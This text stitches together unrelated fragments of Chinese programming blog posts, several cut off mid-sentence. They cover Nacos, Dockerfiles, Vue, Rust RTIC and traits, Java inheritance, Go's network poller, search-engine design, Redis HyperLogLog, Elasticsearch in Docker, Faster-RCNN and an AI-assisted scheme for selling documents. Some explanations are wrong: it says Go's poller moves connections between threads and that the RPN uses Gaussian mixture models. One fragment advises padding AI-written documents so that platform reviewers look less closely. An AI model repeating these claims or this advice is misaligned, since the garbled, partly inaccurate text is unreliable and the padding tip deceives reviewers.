<!--springCloud alibaba Naocs--> <dependency> <groupId>com.alibaba.cloud</groupId> <artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId> </dependency> </dependencies> 2.3.改yml server: port: 9002 spring: application: name: ncaos-payment-provider cloud: nacos: discovery: server-addr: localhost:8848 management: endpoints: web: exposure: include: '*' 2.
目录
一、镜像结构
1. 基本结构
2. 常用命令
二、自定义镜像
1. 基本镜像
2. 进阶镜像
3. 完善镜像
三、镜像上传仓库
每篇一获
一、镜像结构 自定义 Docker 镜像有很多用途,以下是一些主要的应用场景:
一致性环境:通过自定义镜像,您可以确保您的应用在不同的环境中(开发、测试、生产等)运行在完全一致的环境中。这可以避免"在我机器上可以运行"的问题。
快速部署:自定义镜像包含了运行应用所需的所有依赖,这使得部署过程变得非常快速和简单。只需运行一个命令,就可以在任何安装了 Docker 的机器上启动应用。
版本控制和回滚:每个 Docker 镜像都有一个唯一的标签,这使得版本控制变得非常简单。如果新版本的应用有问题,您可以很容易地回滚到旧版本的镜像。
微服务架构:在微服务架构中,每个服务都可以有自己的 Docker 镜像。这使得每个服务可以独立地更新和扩展,而不会影响其他服务。
持续集成/持续部署(CI/CD):在 CI/CD 管道中,自定义镜像可以用于构建、测试和部署应用。这使得整个开发过程更加自动化,提高了开发效率。
1. 基本结构 Dockerfile 是一个文本文件,它包含了一组用户可以调用来创建镜像的指令。以下是 Dockerfile 的基本结构:
FROM:指定基础镜像,所有操作都基于这个基础镜像。例如:FROM ubuntu:18.04
LABEL:为镜像添加元数据及声明镜像的作者或者维护者的信息。
RUN:在镜像中运行命令,这些命令会在新的层上创建新的镜像。例如:RUN apt-get update
CMD:提供容器默认的可执行程序,可以包含可执行程序,也可以省略,如果省略,则必须在运行时通过命令行指定。例如:CMD ["executable","param1","param2"]
EXPOSE:声明运行时容器提供服务的网络端口。例如:EXPOSE 8080
ENV:设置环境变量。例如:ENV myName="John Doe" myDog=Rex\ The\ Dog
ADD 和 COPY:将文件从 Docker 主机复制到 Docker 镜像中。ADD 有自动解压缩功能,COPY 则更为直接明了。
ENTRYPOINT:配置容器启动后执行的命令,并且不会被 docker run 提供的参数覆盖。
VOLUME:创建一个可以从本地主机或其他容器挂载的挂载点,一般用来存放数据库和需要保存的数据等。
WORKDIR:设置工作目录,所有后续的操作(CMD、ENTRYPOINT、COPY 和 ADD)都会在这个目录下进行。
计算属性 模板中的表达式虽然方便,但也只能用来做简单的操作。如果在模板中写太多逻辑,会让模板变得臃肿,难以维护。
根据作者今年是否看过书展示不同信息
<script lang="ts" setup> import { ref, reactive } from "vue" const author = reactive({ name: 'John Doe', books: [ '老人与海', '百年孤独', '丧钟为谁而鸣' ] }) </script> <template> <div class="container"> <p>2024是否有看过书籍:</p> <span>{{ author.books.length > 0 ? 'Yes' : 'No' }}</span> </div> </template> <style lang="scss" scoped> .container {} </style> 效果:
这样判断使模版逻辑看起来比较复杂
因此我们推荐使用计算属性来描述依赖响应式状态的复杂逻辑
<script lang="ts" setup> import { ref, reactive, computed } from "vue" const author = reactive({ name: 'John Doe', books: [ '老人与海', '百年孤独', '丧钟为谁而鸣' ] }) const publishedBooksMessage = computed(() => { return author.
本文是对rust嵌入式开发的补充,就当时遗留的一些问题进行增补与修正。
RTIC中的任务处理 在上篇文章中还不是很理解rtic的工作机制。但写东东进行总结的好处就体现出来了,在上篇文章中提到了rtic的app入口本就是一个进程宏,所以在写完文章后就想,那就看看这个宏到底干了些什么吧。
想到就干。执行:
cargo expand > src/app.rs 然后在main.rs中引用一下【这样在vscode中读代码的时候,就可以随时跳转来来看源码】:
mode app; 经过对扩展了宏之后的代码的研读,搞清楚了几个问题:
RTIC的任务分发 rtic不是一个RTOS,它只是一个基于中断的任务分发系统。
所以,上篇文章中有很多概念就都错了,因为那还是基于一个OS中多任务【或线程】的认识。
在rtic中,不管是中断处理,还是用户的任务函数,如live、mytask等,在rtic中都是一视同仁:全部都是在中断响应函数调用我们自己编写的任务函数。
而rtic所提供的标准的中断响应函数都是一样的:
设置优先级,由程序员以priority指定为用户任务函数准备参数,核心就是local和shared两个结构调用程序员所写的用户任务函数 所以,dispatchers的作用就是选一个没有实际使用到的硬件中断源,然后在实际的硬件中断响应函数中调用用户任务函数的spawn()时,rtic就会将这个调用放入到一个任务队列中,然后以软件触发的方式触发这个中断。
同时,rtic会接管这个硬件中断的响应函数,然后在这个中断响应函数中从任务队列中逐次提取相应的用户任务函数来执行。
所以,使用了rtic后根本不需要再自己实现时钟任务或空闲任务队列,来自己做多任务的调度了。只需要和硬件中断一样,编写好自己的用户任务,然后在相应的硬件中断响应任务中spawn()即可。
所以,如上篇文章中,就需要三个用户任务函数,分别在两个硬件中断中进行触发:
tick函数【TIM1_UP硬件中断的响应函数】中触发mytask和live: //用户任务 mytask::spawn().unwrap(); //用板载led做个呼吸灯,直观表示还活着 live::spawn().unwrap(); uart1函数【USART1硬件中断的响应函数】中触发uart1_recv: //串口1接收到数据 if new_data { //将接收到的数据放入用户空间 cx.shared.buff_uart1_recv.lock(|buff_uart1_recv| { *buff_uart1_recv = Some(buff); }); uart1_recv::spawn().unwrap(); } 也就是说,rtic中有两种任务,一种是硬件中断的处理函数,由rtic内置的硬件中断响应函数进行触发;一种是用户的任务处理函数,必须在前一种的硬件中断处理函数中以spawn()进行触发,然后rtic以软中断的方式触发dispatchers的中断,然后在此中断的响应函数中进行调度来执行用户的任务处理函数。
即,rtic中的任务其最终来源都是指定的硬件中断。
RTIC的任务处理 rtic中所有的任务函数,都等价于硬件中断响应函数。所以就有两个问题需要考虑:中断处理,数据安全。
中断处理 由于所有的任务函数都是中断响应函数,所以我们不得不研究一下rtic中对中断的处理方式。回答是:没有任何特殊的处理,主要依靠MCU芯片的中断处理机制。
arm芯片本身有其强大的中断处理机制,简单的说就是高优先级的中断可以抢占低优先级的中断。其也没有核心数据的概念,也就不需要特殊的中断保护机制。
所以rtic的中断处理非常简单:
在初始化时,只允许用户绑定的那几个硬件中断,以及作为dispatchers源的那个硬件中断,其它中断全部关闭所有的任务函数,全部根据优先级由MCU芯片来执行中断的响应调度rtic唯一要做的就是在用户任务spawn()时按优先级排队放入任务队列,然后在dispatchers时依次调度 数据安全 arm不管有没有核心数据,只根据优先级进行中断处理函数的抢占与调度。但rtic则必须提供相应的数据安全保护。
因此,在rtic视角就存在三种数据:
rtic系统数据,用于保存所有的系统数据和用户数据任务的本地数据,只用于某个任务函数的数据任务的共享数据,可在两个以上的任务函数间共享的数据 由于rust有强大的借用约束,所以系统数据和任务数据的隔离非常简单:所有的数据都由rtic拥有并管理,在需要调度任务函数执行【不管是硬件中断函数还是用户任务函数】时,rtic从用户数据区中引用【借出】该函数所指定的数据,然后创建相应的上下文,然后作为参数交给该函数执行。
也就是说,任务函数所需要的数据,不管是local的还是shared的,都来自rtic数据区中相应数据的引用【借用】,然后创建一个局部的上下文,将这些数据引用复制进来。
这也是rtic中的闭包无法跨线程使用的原因,因为rtic任务函数中的上下文是一个栈上的局部变量,其将随着任务函数的执行结束而被销毁,所以想如java或go中以闭包的方式将一些处理推入任务队列以在时钟任务队列或空闲任务队列中异步执行,是根本不可能的!
展开说,即java或go中可将闭包所使用的数据不从栈上分配,而是在堆中分配,则当闭包执行完毕时,对这块数据区的引用为0,就可以通过gc进行回收了。
但rust没有这样的机制,如果引用了上下文中的数据,就需要将这些数据自己copy到堆上,即创建一个Box,然后将上下文中的数据保存进去,然后将相应的函数指针和Box一起保存到时钟任务队列上,然后在需要的时候调用。但又何必使用闭包呢?!
而这,正好也就是rtic对local和shared两种数据的处理方式:在栈上创建对应的上下文数据结构,然后从保存到堆上的rtic的系统数据空间中复制需要的数据引用【借用】,再将上下文提供给任务函数使用。
当然,只用于某个任务函数的local数据这么处理没问题,但共享数据就不可以了,因为任务函数的调度是可以被更高优先级的任务函数抢占的。
这样一来,如果低优先级的任务函数正在使用共享数据,就可能导致错误。
rtic对此的处理是互斥,即共享数据都需要以加锁的方式才能使用,以保证共享数据的安全。
但这很容易就有一个困惑:如果低优先级的任务函数加锁后被高优先级任务函数抢占,其也要使用共享数据,那是否会导致死锁?!!
这是我们使用惯了OS或高级编程语言的习惯性认知。但rust嵌入式,起码在STMS32F103芯片上,它是一个单核的、没有运行时提供的阻塞任务队列来支持Mutex原语。
所以rtic对共享数据的加锁非常简单,每次加锁时,设置一个优先级天花板:
当这个天花板是MCU的最高优先级【STMS32F103特性时是16】时,则函数执行前会关闭中断,函数执行完毕再打开中断否则,会临时把MCU的中断响应水平提升到天花板,低于或等于这个天花板的中断就暂时不响应了,等任务函数执行完再恢复【请注意,中断抢占可以嵌套,也就是说,这个屏蔽中断的天花板可以一步步提高,然后再一步步恢复】 rtic一般会把这个天花板设为需要加锁的任务函数的优先级。
也就是说,共享数据的锁,只对低于或等于该任务函数的其它函数起作用【其实,由于那些任务函数的优先级低,其也根本不会来抢占本函数的执行】,对于高优先级的任务函数是不起作用的!
目录
继承
概念
代码格式
为什么要继承
继承类型
extends
implements 子类与父类 性质
final关键字:
super关键字:引用子类的父类。
this关键字:指向类自己的引用。
构造器
概念
子类与父类的构造器
看父类
子类中
继承 概念 继承就是子类继承父类的特征和行为,使得子类对象(实例)具有父类的实例域和方法,或子类从父类继承方法,使得子类具有父类相同的属性。
从已有的类派生出新的类,称为继承。
代码格式 class 父类 { } class 子类 extends 父类 { } 为什么要继承 在不同类中会有共同的属性或者方法,我们可以将这些共同的属性和方法放在同一个父类,然后再派生出其他子类来共享。
继承实现软件重用的重要手段,避免重复,易于维护,易于理解。
继承类型 java不支持一继承多,但支持多重继承。
即一个子类不能同时继承多个父类,但是可以一层一层继承。
(C++支持多重继承)
extends 使用extends关键字可以让一个子类继承一个父类。格式为
class 父类 { } class 子类 extends 父类 { } implements 使用 implements 关键字可以变相地让一个类多继承,但使用情况是类继承接口,格式为
public interface A { } public interface B { } public class C implements A,B { } 注:接口的声明用interface 。
简介 Go语言的网络轮询器是一个非常强大的工具,它可以帮助我们轻松地实现网络并发编程。网络轮询器的工作原理是将多个网络连接映射到一个或多个操作系统线程上,并根据网络连接的状态来决定哪个网络连接应该在哪个线程上进行读写操作。
网络轮询器有两种主要类型:
阻塞式网络轮询器: 阻塞式网络轮询器是指网络轮询器在等待网络连接可读或可写时会阻塞当前线程。非阻塞式网络轮询器: 非阻塞式网络轮询器是指网络轮询器在等待网络连接可读或可写时不会阻塞当前线程。 Go语言的网络轮询器是基于非阻塞式 I/O 模型实现的,这意味着它不会阻塞当前线程。这使得 Go语言的网络轮询器非常适合于编写高性能的网络应用程序。
原理 Go语言的网络轮询器是一个非常复杂的系统,但它的基本原理可以归结为以下几点:
网络连接: 网络连接是指两个网络节点之间的一条通信路径。网络连接可以是 TCP 连接、UDP 连接或其他类型的连接。操作系统线程: 操作系统线程是内核管理的执行单元,它可以独立地执行代码。每个网络连接都必须运行在一个操作系统线程上。网络轮询器: 网络轮询器负责将网络连接映射到操作系统线程上,并决定哪个网络连接应该在哪个线程上进行读写操作。网络轮询器会根据网络连接的状态来做出决定,例如,如果一个网络连接正在等待数据到达,那么网络轮询器可能会将它从当前线程上移除,并将它放到另一个线程上运行。 工作原理 Go语言的网络轮询器使用一种称为 epoll 的系统调用来管理网络连接和操作系统线程之间的关系。epoll 是 Linux 内核提供的一种高性能的 I/O 多路复用机制。
epoll 的工作原理是将多个网络连接添加到一个 epoll 实例中。当某个网络连接上有数据到达时,epoll 就会通知网络轮询器。网络轮询器会将该网络连接从当前线程上移除,并将它放到另一个线程上进行读写操作。
性能优化 为了提高 Go语言网络程序的性能,我们可以对网络轮询器进行一些优化。以下是一些常见的优化技巧:
减少网络连接的数量: 过多的网络连接会增加网络轮询器的负担,从而降低程序的性能。因此,我们应该尽量减少网络连接的数量。避免网络连接阻塞: 网络连接阻塞是指网络连接在等待数据到达或发送数据时无法继续进行读写操作。网络连接阻塞会导致网络轮询器不得不将网络连接从当前线程上移除,并将它放到另一个线程上运行,这会增加网络轮询器的负担。因此,我们应该尽量避免网络连接阻塞。使用合理的线程数量: 网络轮询器使用的线程数量应该根据程序的实际情况进行调整。如果线程数量太少,那么就会出现网络连接并发的现象,这会降低程序的性能。如果线程数量太大,那么就会浪费操作系统线程资源。 实战代码案例 在我们的一个工作项目中,我们使用 Go语言的网络轮询器来实现了一个高性能的 Web 服务器。该 Web 服务器可以同时处理大量的并发请求。
以下是该程序的部分代码:
package main import ( "context" "fmt" "log" "net" "net/http" "sync" "time" ) // 定义一个协程安全的计数器 var wg sync.WaitGroup // 定义一个下载文件的函数 func downloadFile(ctx context.
在前面我们提到了网页爬虫设计:如何下载千亿级网页?中,我们讨论了大型分布式网络爬虫的架构设计,但是网络爬虫只是从互联网获取信息,海量的互联网信息如何呈现给用户,还需要使用搜索引擎完成。因此,我们准备开发一个针对全网内容的搜索引擎,产品名称为“Bingoo”。
Bingoo 的主要技术挑战包括:
针对爬虫获取的海量数据,如何高效地进行数据管理;当用户输入搜索词的时候,如何快速查找包含搜索词的网页内容;如何对搜索结果的网页内容进行排序,使排在搜索结果列表前面的网页,正好是用户期望看到的内容。 因此,针对此类问题,我们开发一个搜索引擎系统!
1、概要设计 一个完整的搜索引擎包括分布式爬虫、索引构造器、网页排名算法、搜索器等组成部分,Bingoo 的系统架构如下:
分布式爬虫通过存储服务器将爬取的网页存储到分布式文件集群 HDFS,为了提高存储效率,网页将被压缩后存储。存储的时候,网页一个文件挨着一个文件地连续存储,存储格式如下:
每个网页被分配得到一个 8 字节长整型 docID,docID 之后用 2 个字节记录网页的 URL的长度,之后 4 个字节记录压缩后网页内容数据的长度,所有存储的网页的头 14 个字节都是同样的格式。之后存储 URL 字符串和压缩后的网页内容数据。读取文件的时候,先读14 个字节的头信息,根据头信息中记录的 URL 长度和数据长度,再读取对应长度的 URL和网页内容数据。
搜索引擎能够快速查找的核心就是利用索引,根据用户的查询内容查找匹配的索引,根据索引列表构建结果页面。索引的构造主要通过索引构造器完成,索引构造器读取 HDFS 中的网页内容,解压缩后提取网页中的单词,构建一个“docID-> 单词列表”的正排索引。然后,索引构造器再根据这个正排索引构建一个“单词 ->docID 列表”的倒排索引,“docID 列表”就是包含了这个单词的所有网页列表。利用这个倒排索引,搜索器可以快速获得用户搜索词对应的所有网页。
网页中所有的单词构成了一个词典,实际上,词典就是一个 Hash 表,key 就是单词,value 就是倒排索引的网页列表。虽然互联网页的内容非常庞大,但是使用到的单词其实是非常有限的。根据 Google 的报告,256M 内存可以存放 1400 万个单词,这差不多就是英文单词的全部了。
在构建索引的过程中,因为要不断修改索引列表,还要进行排序,所以,有很多操作是需要进行加锁同步完成的。对于海量的互联网页的计算,这样的索引构建速度太慢了。因此我们设计了 64 个索引桶,根据 docID 取模,将不同网页分配到不同的桶中,在每个桶中分别进行索引构建,通过并行计算来加快索引处理速度。
索引构造器在读取网页内容、构造索引的时候,还会调用 URL 提取器,将网页中包含的URL 提取出来,构建一个链接关系表。链接关系表的格式是“docID->docID”,前一个docID 是当前网页的 docID,后一个 docID 是当前网页中包含的 URL 对应的 docID。一个网页中会包含很多个 URL,也就是会构建出很多个这样的链接关系。后面会利用这个链接关系表,使用 PageRank 排名算法对所有网页进行打分排名,当索引器得到查找的网页列表时,利用 PageRank 值进行排名,最终呈现给用户,保证用户最先看到的网页是最接近用户期望的结果页面。
2、详细设计 一个运行良好的搜索引擎的核心技术就是索引和排名,所以我们将分别说明这两种技术要点!
1、索引 索引构造器从 HDFS 读取网页内容后,解析每个页面,提取网页里的每个单词。如果是英文,那么每个单词都用空格分隔,比较容易;如果是中文,需要使用中文分词器才能提取到每个单词,比如“高并发架构”,使用中文分词器得到的就是“高并发”、“架构”两个词。
引言 大家好,我是小黑,今天给大家介绍一个特别简单的项目,用AI辅助咱们来编写各种word,PPT等资料上传到百度文库、原创力、道客巴巴、csdn等平台赚取被动的睡后收益。
但要注意,只是辅助,即便是用AI辅助,咱们也尽可能写出高质量的文档,否则也很难审核过,如果一直被判定提交垃圾文件,导致审核不过,可能会被封号。
咱们的目的,是产出文档,满足有需要的人,而不是为了疯狂堆积电子垃圾。
百度文库 咱们得先上百度搜“百度文库”,下拉滑到最下便,点击【个人作者入驻】就行了。按提示升级百家号,开通知识店铺,然后就能上传VIP文档了。用手机的话,在APP里的我的页面点开通店铺,按页面操作就成。
进入百度文库后,下拉到最下边
咱们上传文档有四种类型。小黑提醒一下,私密文档就别传了,没收益。其他三种:免费、付费、VIP,都能赚钱。免费的简单,上传后别人下载咱们就有分成,虽然少点。付费的自己定价,别人买了,咱们分成高。VIP的得有VIP才能下,别人通过你的文档开VIP,咱们也有分成。VIP分成最高,免费最低。但量大了也挺划算的。建议先搞免费的,再试试付费和VIP的。
其他平台,也是类似,我不再赘述了,都很简单,然后下面就跟大家分享一下,都有哪些工具,可以帮我们快速创作优质的内容?
PPT生成详解 注意工具生成的内容,质量可能不会太高,需要咱们人工润色一下文本,字体,颜色之类的,不建议直接给生成的PPT或word上传到各平台。
基本上这些工具都得付费,但价格还好,而且某宝或某鱼都有相对便宜点的渠道可以购买。
chatppt生成(最推荐 效果最好) 这款工具,是最优先推荐的,效果非常好,可以说是做到了简单实用美观,但唯一的缺点就是该工具是要收费的,但咱们可以某宝搜索有比较便宜的购买渠道。
网址:https://chat-ppt.com/
打开网站,点击在线体验,输入咱们想生成的PPT主题,也可以更详细点说需要哪些章节部分,内容,风格,都可以,输入完成后,确认等待一会,即可生成,生成后即可下载,下载到本地,咱们再简单润色一下即可。
WPS AI生成(第二推荐 比较稳定 可控性强) 需要下载安装wps,打开wps,新建演示文稿,选择WPS AI
选择打开后,输入自己想要的PPT主题风格等,点击【智能生成】
点击后,等一会,先会生成大纲,这里的内容都是可以按需修改的,也是WPS比较强的一点
然后点击【立即创建】,稍等一会,就可以生成了
百度文库AI生成 百度文库生成后效果如下:
美图AI 地址:https://www.x-design.com/ppt/
一样是在页面直接输入需求,然后点击生成即可
Word生成详解 word直接就上 ChatGPT4.0就好,其他的质量太低,而且重复度很高,小黑整理了一套通用的提示词,可以帮咱们生成各种word,整体流程就是,先学习,再输出。
一共分为三步
第一步:上传同行文档,让chatgpt分析主题,各部分组成,整体风格
第二步:让chatgpt来生成用于 让他后续写这种文档的提示词
第三步:告诉chatgpt,我们要写XX主题的文档
使用chatgpt4.0,上传一个付费的word文档,然后写第一个提示词。
【背景】 我在学习各种文章的写法 【目标】 获得这种文章的写法,步骤,风格 【任务】 请你读取并分析我上传的文档,告诉我这篇文档的主题,分哪几部分,整体风格是什么 【要求】 1.简洁明了,清晰直白 等chatgpt分析完之后,再写第二个,让chatgpt自己来整理后续给他自己用的提示词。
我希望后续让你来协助我写这种文章,请你整理刚才你分析的内容,梳理一份适用于你的提示词。 第三步,让chatgpt来写文档,这步骤,为了防止刚才的上传文档等占用token字符数,咱们可以新开一个窗口,然后喂它一些咱们希望写的主题的资料,然后根据chatgpt第二步给咱们分析出来的提示词,让他来写一份大纲(之所以写大纲,是因为一般这种资料都是好多页,好多字,chatgpt不适合一次回答过多),然后咱们再用大纲逐步去扩写每一章节
【背景】 我是一名XX领域专家,希望写一篇XX报告,分享到互联网上 【目标】 1.文档水平及质量非常高 2.激发读者对这个报告的下载欲望 【任务】 我要生成XX主题的XX报告,我希望写共计2W字左右,请你先根据我的要求,写出大纲,大纲尽量细化到每章不超过800字,并标注每一章的字数,如果超过,请再细化 【要求】 1.XXX 2.XXX (参考第二步chatgpt分析出来的提示词) 大纲给出来之后,让他再分别写出对应章节,或者调整
调整:
我觉得大纲不够细化,请你将【XXX】部分再进一步细化,要求同上 or 我希望大纲更侧重于【XX】方面,请你重新生成一份大纲,要求同上 开始生成具体的每一部分
很好,请你按照上述大纲,结合我的要求,开始写出【XX】部分 (XX字左右) 写完之后,咱们审阅简单修改之后就可以合并到文档中,最终完成一份高质量的文档上传了,记住,字一定要多,只有字多,审核才不会太过细致的看,才更容易过审。
一、信息的定义 1、信息:通讯系统的信息、信号和消息
通信的基本问题:在一点精确或近似地恢复另一点所选择的信息
通信的目的:消除不确定性,获得信息
2、消息:能被人的感觉器官所感知(消息中包含信息,是信息的载体,是具体的)
3、信号:信道传输的物理量(信号携带消息,是消息的运载工具,可测量、可显示、可描述)
香农信息:事物运动状态和存在方式的不确定性描述
通信过程是一种消除或部分消除不确定性的工程
1.信息在被接收前具有未知性,不确定性 2.信息通过通信系统之后,不确定性被完全消除或部分消除 不确定性(信息量)的定性和定量描述
1、定性描述:事先猜测某随机事件是否发生的难易程度
例:一夜暴富:概率极低,很难猜到,信息量大;
学习会很难:概率很高,容易猜到,信息量较小;
信息论要用到数学:必然事件,信息量为0;
2、定量描述是随机事件所发生所提供的信息量
不可能事件的概率为0,信息量无穷大;
必然事件的概率是1,信息量为0;
随机事件概率与自信息成负相关:
二、信息论的研究对象和目的 通信的实质:形式上传输消息,实质上传输信息
信源:产生消息和消息序列的愿
编码器:将消息转化为适合信道传输的物理量
信道:传输、存储信号的媒介
译码器:对信号进行反变换
信宿:消息传递的对象
三、概率论知识回顾 1、利用矩阵表示概率分布
(1)一维矩阵
(2)联合概率分布和边沿概率分布
(3)条件概率分布
三者关系
常用概率公式
👨🎓作者简介:一位大四、研0学生,正在努力准备大四暑假的实习
🌌上期文章:Redis:原理速成+项目实战——Redis实战14(BitMap实现用户签到功能)
📚订阅专栏:Redis:原理速成+项目实战
希望文章对你们有所帮助
这篇是实战部分的终结篇,其实Redis的核心操作,主要是在实战部分的秒杀业务的,这里面有很多的细节:缓存、分布式锁、异步线程实现秒杀,这里面有很多的细节,可以去看这几篇文章:
Redis:原理速成+项目实战——Redis实战7(优惠券秒杀+细节解决超卖、一人一单问题)
Redis:原理速成+项目实战——Redis实战8(基于Redis的分布式锁及优化)
Redis:原理速成+项目实战——Redis实战9(秒杀优化)
Redis:原理速成+项目实战——Redis实战10(Redis消息队列实现异步秒杀)
本文只是对这个项目再拓展一个基于Redis的功能。
目前为止虽然项目功能上比较完善了,但是用到的Redis基本都是单结点的,多结点的我只是简单演示过demo。
这篇结束后要单独开一个专栏了,实现Redis的高级操作:Redis持久化、Redis主从模式、Redis哨兵机制以及Redis的分片集群
除此之外,还会进行Redis原理的更深入的剖析,将会自己做一点总结,为了将来的面试。
但是想冲好实习的话,除了Redis高级部分以及其底层原理,还非常需要快点将技术栈叠高一点,因此,后面的总结可能进度会很慢了。
Redis企业级项目实战终结篇(HyperLogLog实现UV统计) HyperLogLog的用法测试百万数据的统计 HyperLogLog的用法 先搞懂两个概念:
1、UV:全称Unique Visitor,也叫独立访客量,是指通过互联网访问、浏览这个网页的自然人。1天内同一个用户多次访问该网站,只记录1次。
2、PV:全称Page View,也叫页面访问量或点击量,用户每访问网站的一个页面,记录1次PV,用户多次打开页面,则记录多次PV。往往用来衡量网站的流量。
UV统计在服务端做会比较麻烦,因为要判断该用户是否已经统计过了,需要将统计过的用户信息保存。但是如果每个访问的用户都保存到Redis中,数据量会非常恐怖。
HyperLogLog是LogLog算法派生的概率算法,用于确定非常大的集合的基数,而不需要存储器所有值,具体的原理涉及了很多数学,大家可以自行去了解。
Redis中的HLL是基于String结构实现的,单个HLL的内存永远小于16kb,内存占用非常低,其代价就是测量结果是存在概率性的,有0.8%的误差,这个误差其实也是很小了。如果能忍受这个误差就可以去用。
不管用PFADD添加多少个重复元素,用PFCOUNT都不会重复计数,天生就适合用来做UV统计。
测试百万数据的统计 百万用户访问的数据,这可并不好搞,所以直接用单元测试,向HyperLogLog中添加100万条数据,查看内存占用以及统计的效果。
首先利用命令查看当前内存使用情况:
测试类如下:
@Test void testHyperLogLog(){ String[] values = new String[1000]; int j = 0; for(int i = 0; i < 1000000 ; ++i){ j = i % 1000; values[j] = "user_" + i; if(j == 999){ //发送到Redis stringRedisTemplate.opsForHyperLogLog().add("hl2", values); } } //统计数量 Long count = stringRedisTemplate.
1.部署单点es 1.1.创建网络 因为我们还需要部署kibana容器,因此需要让es和kibana容器互联。这里先创建一个网络:
docker network create es-net 1.2.加载镜像 这里我们采用elasticsearch的7.12.1版本的镜像,这个镜像体积非常大,接近1G。不建议大家自己pull。
链接:https://pan.baidu.com/s/19DD0bw_AyUMZtf9kwdjRDg?pwd=ia1j 提取码:ia1j
将其上传到虚拟机中,然后运行命令加载即可:
docker load -i es.tar
同理还有kibana的tar包也需要这样做。
链接:https://pan.baidu.com/s/193gHvk8RE1b0yeQ4ZxzNzQ?pwd=fk4f 提取码:fk4f
运行命令加载:
docker load -i kibana.tar
1.3.运行es 运行docker命令,部署单点es:
docker run -d \ --name es \ -e "ES_JAVA_OPTS=-Xms512m -Xmx512m" \ -e "discovery.type=single-node" \ -v es-data:/usr/share/elasticsearch/data \ -v es-plugins:/usr/share/elasticsearch/plugins \ --privileged \ --network es-net \ -p 9200:9200 \ -p 9300:9300 \ elasticsearch:7.12.1 命令解释:
-e "cluster.name=es-docker-cluster":设置集群名称
-e "http.host=0.0.0.0":监听的地址,可以外网访问
-e "ES_JAVA_OPTS=-Xms512m -Xmx512m":内存大小
-e "discovery.type=single-node":非集群模式
-v es-data:/usr/share/elasticsearch/data:挂载逻辑卷,绑定es的数据目录
目录
1.算法仿真效果
2.算法涉及理论知识概要
2.1、Faster-RCNN网络介绍
2.2、Faster-RCNN工作原理
2.3 Faster-RCNN步骤
3.MATLAB核心程序
4.完整算法代码文件获得
1.算法仿真效果 matlab2022a仿真结果如下:
2.算法涉及理论知识概要 2.1、Faster-RCNN网络介绍 Faster-RCNN是一种流行的深度学习目标检测算法,它通过使用Region Proposal Network (RPN) 来实现高效且准确的目标检测。相比于其它的目标检测算法,例如R-CNN和SPP-Net,Faster-RCNN具有更高的效率和准确性。
2.2、Faster-RCNN工作原理 Faster-RCNN由两个主要部分组成:RPN和RCNN。
RPN:该网络通过滑动小窗口在图像上进行扫描,并预测窗口内可能存在目标的区域(称为“提议”)。它通过使用一种名为“高斯混合模型”的方法对窗口中的像素进行分类,以确定是否有可能存在目标。对于每个可能的区域,RPN都会生成一组坐标,这组坐标表示该区域在原始图像上的位置。
RCNN:该网络接收RPN生成的提议,并使用卷积神经网络(CNN)对每个提议进行特征提取。然后,这些特征被送入一个全连接层,以生成每个提议的分类(即目标或背景)和边界框(即目标在图像中的位置)。
2.3 Faster-RCNN步骤 对于每个滑动窗口,RPN使用高斯混合模型对窗口内的像素进行分类,以确定是否有可能存在目标。这通常涉及计算每个像素与高斯分布的匹配程度,并根据匹配程度对像素进行分类。
RCNN接收RPN生成的提议,并使用卷积神经网络对其进行特征提取。这通常涉及一系列卷积层、ReLU激活函数和池化层,以从图像中提取有用的特征。
这些特征被送入全连接层,以生成每个提议的分类和边界框。全连接层通常使用softmax函数对分类进行归一化处理,以生成每个提议属于目标或背景的概率。同时,全连接层也会输出边界框的坐标,以指示目标在图像中的位置。
基于Faster-RCNN网络的人员迭代检测系统通过结合RPN和Fast R-CNN检测器,实现了高效和准确的人员检测。该系统可以应用于各种场景,如监控、人群计数和安全应用等。通过迭代检测,可以进一步提高检测精度,特别是在复杂和拥挤的环境中。
3.MATLAB核心程序 ......................................................................... % 随机打乱数据集并分割为训练集、验证集和测试集 Ridx = randperm(height(vehicleDataset)); idx = floor(0.85 * height(vehicleDataset)); train_Idx = 1:idx; train_Tbl = vehicleDataset(Ridx(train_Idx),:); test_Idx = idx+1 : idx + 1 + floor(0.1 * length(Ridx) ); test_Tbl = vehicleDataset(Ridx(test_Idx),:); test_Idx0 = test_Idx(end)+1 : length(Ridx); test_Tbl0 = vehicleDataset(Ridx(test_Idx0),:); % 创建图像数据存储器 imdsTrain = imageDatastore(train_Tbl{:,'imageFilename'}); bldsTrain = boxLabelDatastore(train_Tbl(:,'man')); imdsValidation = imageDatastore(test_Tbl{:,'imageFilename'}); bldsValidation = boxLabelDatastore(test_Tbl(:,'man')); imdsTest = imageDatastore(test_Tbl0{:,'imageFilename'}); bldsTest = boxLabelDatastore(test_Tbl0(:,'man')); % 创建训练、验证和测试数据 trainingData = combine(imdsTrain,bldsTrain); validationData = combine(imdsValidation,bldsValidation); testData = combine(imdsTest,bldsTest); % 预处理训练数据 data = read(trainingData); In_layer_Size = [224 224 3]; % 估计锚框 pre_train_data = transform(trainingData, @(data)preprocessData(data,In_layer_Size)); NAnchor = 3; NBoxes = estimateAnchorBoxes(pre_train_data,NAnchor); numClasses = width(vehicleDataset)-1; % 创建Faster R-CNN网络 lgraph = fasterRCNNLayers(In_layer_Size,numClasses,NBoxes,Initial_nn,featureLayer); % 数据增强 aug_train_data = transform(trainingData,@augmentData); augmentedData = cell(4,1); % 预处理数据并显示标注 trainingData = transform(aug_train_data,@(data)preprocessData(data,In_layer_Size)); validationData = transform(validationData,@(data)preprocessData(data,In_layer_Size)); data = read(trainingData); I = data{1}; bbox = data{2}; % 设置训练参数 options = trainingOptions('sgdm',.
Rust语言中的trait是非常重要的概念。
在Rust中,trait这一个概念承担了多种职责。在中文里,trait可以翻译为“特征”“特点”“特性”等。
成员方法 trait中可以定义函数。用例子来说明,我们定义如下的trait:
上面这个trait包含了一个方法,这个方法只有一个参数,这个&self参数是什么意思呢?
所有的trait中都有一个隐藏的类型Self(大写S),代表当前这个实现了此trait的具体类型。trait中定义的函数,也可以称作关联函数(associated function)。
函数的第一个参数如果是Self相关的类型,且命名为self(小写s),这个参数可以被称为“receiver”(接收者)。具有receiver参数的函数,我们称为“方法”(method),可以通过变量实例使用小数点来调用。
没有receiver参数的函数,我们称为“静态函数”(static function),可以通过类型加双冒号::的方式来调用。在Rust中,函数和方法没有本质区别。
Rust中Self(大写S)和self(小写s)都是关键字,大写S的是类型名,小写s的是变量名。请大家一定注意区分。self参数同样也可以指定类型,当然这个类型是有限制的,必须是包装在Self类型之上的类型。
